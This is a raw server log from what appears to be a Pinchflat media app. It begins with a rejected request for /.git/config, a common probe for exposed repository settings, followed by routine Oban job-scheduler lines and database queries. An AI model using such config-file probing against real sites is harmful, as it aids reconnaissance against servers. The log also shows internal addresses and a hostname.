for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.20088.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 35198}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "pinchflat.8layer8.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 19, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.20107.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "pinchflat.8layer8.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control (truncated) 17:45:20.621 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:45:50.622 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:00.030 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:46:20.623 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:46:50.624 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:00.031 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:47:20.625 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:47:50.626 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:00.032 [info] {"source":"oban","duration":137,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:48:20.627 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:50.628 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:00.033 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:49:20.629 [info] {"source":"oban","duration":790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:50.631 [info] {"source":"oban","duration":689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:00.034 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:50:20.632 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:50.633 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:00.035 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:51:20.634 [info] {"source":"oban","duration":807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:50.636 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:00.036 [info] {"source":"oban","duration":211,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:52:20.637 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:50.638 [info] {"source":"oban","duration":819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:00.037 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:53:20.640 [info] {"source":"oban","duration":841,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:50.642 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:00.038 [info] {"source":"oban","duration":249,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:54:20.643 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:50.644 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:00.039 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:55:20.646 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:50.647 [info] {"source":"oban","duration":812,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:00.040 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:56:20.648 [info] {"source":"oban","duration":735,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:50.649 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:00.041 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:57:20.650 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:50.651 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:00.042 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:58:20.652 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:50.653 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:00.043 [info] {"source":"oban","duration":275,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:59:20.654 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:50.655 [info] {"source":"oban","duration":842,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:00.044 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:00:20.657 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:50.658 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:00.045 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:01:20.659 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:50.660 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:00.046 [info] {"source":"oban","duration":246,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:02:20.661 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:02:50.662 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:00.047 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:03:20.663 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:03:50.664 [info] {"source":"oban","duration":782,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:00.048 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:04:20.665 [info] {"source":"oban","duration":766,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:04:50.667 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:00.049 [info] {"source":"oban","duration":245,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:05:20.668 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:05:50.670 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:00.050 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:06:20.671 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:06:50.672 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:00.051 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:07:20.673 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:07:50.674 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:00.052 [info] {"source":"oban","duration":394,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:08:20.675 [info] {"source":"oban","duration":742,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:08:50.676 [info] {"source":"oban","duration":771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:00.053 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:09:20.677 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:09:50.678 [info] {"source":"oban","duration":789,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:00.054 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:10:20.679 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:10:50.680 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:00.055 [info] {"source":"oban","duration":262,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:11:20.681 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:11:50.682 [info] {"source":"oban","duration":765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:00.056 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:12:20.683 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:12:50.683 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:00.057 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:13:20.685 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:13:50.686 [info] {"source":"oban","duration":749,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:00.058 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:14:20.687 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:14:50.688 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:00.059 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:15:20.689 [info] {"source":"oban","duration":628,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:15:50.690 [info] {"source":"oban","duration":834,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:00.060 [info] {"source":"oban","duration":217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:16:20.692 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:16:50.693 [info] {"source":"oban","duration":835,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:00.061 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:17:20.695 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:17:50.696 [info] {"source":"oban","duration":821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:00.062 [info] {"source":"oban","duration":280,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:18:20.698 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:18:50.699 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:19:00.063 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:19:20.701 [info] {"source":"oban","duration":1811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 18:19:50.702 [info] {"source":"oban","duration":983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:00.064 [info] {"source":"oban","duration":315,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:20:20.704 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:20:50.705 [info] {"source":"oban","duration":759,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:00.065 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:21:20.706 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:21:50.707 [info] {"source":"oban","duration":608,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:00.066 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:22:20.708 [info] {"source":"oban","duration":618,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:22:50.709 [info] {"source":"oban","duration":625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:00.067 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:23:20.710 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:23:50.711 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:00.068 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:24:20.712 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:24:50.713 [info] {"source":"oban","duration":594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:00.069 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:25:20.714 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:25:50.715 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:00.070 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:26:20.716 [info] {"source":"oban","duration":780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:26:50.717 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:00.071 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:27:20.718 [info] {"source":"oban","duration":543,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:27:50.719 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:00.072 [info] {"source":"oban","duration":203,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:28:20.720 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:50.721 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:00.073 [info] {"source":"oban","duration":214,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:29:20.722 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:29:50.723 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:00.074 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:30:20.724 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:30:50.725 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:00.075 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:31:20.726 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:31:50.727 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:00.076 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:32:20.728 [info] {"source":"oban","duration":758,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:32:50.730 [info] {"source":"oban","duration":667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:00.077 [info] {"source":"oban","duration":314,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:33:20.731 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:33:50.732 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:00.078 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:34:20.733 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:34:50.734 [info] {"source":"oban","duration":632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:00.079 [info] {"source":"oban","duration":236,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:35:20.735 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:50.736 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:00.080 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:36:20.737 [info] {"source":"oban","duration":819,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:36:50.739 [info] {"source":"oban","duration":821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:00.081 [info] {"source":"oban","duration":156,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:37:20.740 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:37:50.741 [info] {"source":"oban","duration":751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:00.082 [info] {"source":"oban","duration":173,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:38:20.742 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:38:50.743 [info] {"source":"oban","duration":617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:00.083 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:39:20.744 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:39:50.745 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:00.084 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:40:20.746 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:40:50.747 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:00.085 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:41:20.748 [info] {"source":"oban","duration":790,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:41:50.749 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:00.086 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:42:20.750 [info] {"source":"oban","duration":827,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:42:50.752 [info] {"source":"oban","duration":647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:00.087 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:43:20.753 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:43:50.754 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:00.088 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:44:20.755 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:44:50.756 [info] {"source":"oban","duration":755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:00.089 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:45:20.758 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:50.760 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:00.090 [info] {"source":"oban","duration":311,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:46:20.761 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:50.762 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:00.091 [info] {"source":"oban","duration":285,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:47:20.763 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:50.764 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:00.093 [info] {"source":"oban","duration":395,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:48:20.765 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:50.766 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:00.093 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:49:20.767 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:50.768 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:00.094 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:50:20.769 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:50.770 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:00.095 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:51:20.771 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:50.772 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:00.096 [info] {"source":"oban","duration":247,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:52:20.773 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:50.774 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:00.097 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:53:20.775 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:50.776 [info] {"source":"oban","duration":860,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:00.098 [info] {"source":"oban","duration":280,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:54:20.778 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:50.779 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:00.099 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:55:12.591 [info] {"args":{"id":2},"id":1708,"meta":{},"system_time":1774911312591194694,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 18:55:12.591 [debug] QUERY OK source="sources" db=0.2ms idle=1892.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:12.592 [debug] QUERY OK source="settings" db=0.2ms idle=1008.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:12.596 [debug] QUERY OK source="media_items" db=3.8ms idle=893.7ms SELECT count(*) FROM "media_items" AS m0 